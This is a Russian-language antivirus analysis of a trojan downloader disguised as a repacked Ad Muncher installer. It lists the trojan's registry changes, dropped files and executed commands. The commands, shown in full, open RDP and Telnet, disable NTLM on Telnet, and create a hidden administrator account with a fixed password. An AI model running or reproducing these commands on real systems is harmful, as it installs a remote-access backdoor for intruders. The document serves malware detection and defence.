Trojan.DownLoader4.10905

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Ad Muncher' = '"%PROGRAM_FILES%\Ad Muncher\AdMunch.exe" /bt'

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\netsh.exe firewall add portopening TCP 3389 "Remote Desktop"
<SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0 +h +s" /f
<SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update software" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0.USER-4BB09A9C02 +h +s" /f
<SYSTEM32>\net1.exe accounts /maxpwage:unlimited
<SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
<SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
<SYSTEM32>\net1.exe start Telnet
<SYSTEM32>\tlntsvr.exe
<SYSTEM32>\regsvr32.exe /s <SYSTEM32>\tlntsvrp.dll
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a0 /t REG_DWORD /d 0 /f
<SYSTEM32>\sc.exe config tlntsvr start= auto
<SYSTEM32>\tlntadmn.exe config port=972 sec=-NTLM
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\@@@@@@@.bat" "
<SYSTEM32>\chcp.com 1251
<SYSTEM32>\net1.exe user SUPPORT_388945a0 /delete
<SYSTEM32>\msiexec.exe
<SYSTEM32>\wscript.exe ""%TEMP%\@.vbs""
<SYSTEM32>\msiexec.exe /V
<SYSTEM32>\net1.exe localgroup %USERNAME%s SUPPORT_388945a0 /add
<SYSTEM32>\net1.exe localgroup "Пользователи удаленного рабочего стола" SUPPORT_388945a0 /add
<SYSTEM32>\net1.exe localgroup "Remote Desktop Users"
<SYSTEM32>\msiexec.exe -Embedding 1B249577A0D9DF3491D4636EB6318638
<SYSTEM32>\net1.exe user SUPPORT_388945a0 31311989 /add /comment:"Microsoft Windows Account" /countrycode:"000" /active:"yes" /expires:"never" /passwordchg:"NO"
<SYSTEM32>\net1.exe localgroup Администраторы SUPPORT_388945a0 /add

Изменения в файловой системе:

Создает следующие файлы:

%ALLUSERSPROFILE%\Application Data\Ad Muncher\Registration.dat
%PROGRAM_FILES%\Ad Muncher\AM32-32562.dll
%PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\install.rdf
%ALLUSERSPROFILE%\Application Data\Ad Muncher\License.dat
%PROGRAM_FILES%\Ad Muncher\Install.ini
%ALLUSERSPROFILE%\Application Data\Ad Muncher\Config.dat
%PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome.manifest
%PROGRAM_FILES%\Ad Muncher\AdMunch.dll
%ALLUSERSPROFILE%\Start Menu\Programs\Ad Muncher\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
%ALLUSERSPROFILE%\Desktop\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
%WINDIR%\Installer\{A8EA90E1-51E3-4F10-8759-86F42C704ABC}\_.exe
%PROGRAM_FILES%\Ad Muncher\AM64-32562.dll
%PROGRAM_FILES%\Ad Muncher\AdMunch64.exe
%PROGRAM_FILES%\Ad Muncher\AdMunch.exe
%PROGRAM_FILES%\Ad Muncher\AM32562d.fre
%PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome\AMBE.jar
%APPDATA%\RePack Sergei\Ad Muncher\install\disk1.cab
%TEMP%\@@@@@@@.bat.exe
%TEMP%\1e569.msi
%APPDATA%\RePack Sergei\Ad Muncher\install\1.msi
%TEMP%\Ad_MUNCHER_4.91_build_32562_RePack_Sergei.exe
%TEMP%\RRR.exe
%TEMP%\@.vbs
%TEMP%\1.tmp\@@@@@@@.bat
%WINDIR%\Installer\MSI4.tmp
%WINDIR%\Installer\MSI5.tmp
C:\Config.Msi\1fbe2.rbs
%WINDIR%\Installer\MSI3.tmp
%WINDIR%\Installer\1fbdf.msi
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\ipgate[1].php
%WINDIR%\Installer\MSI2.tmp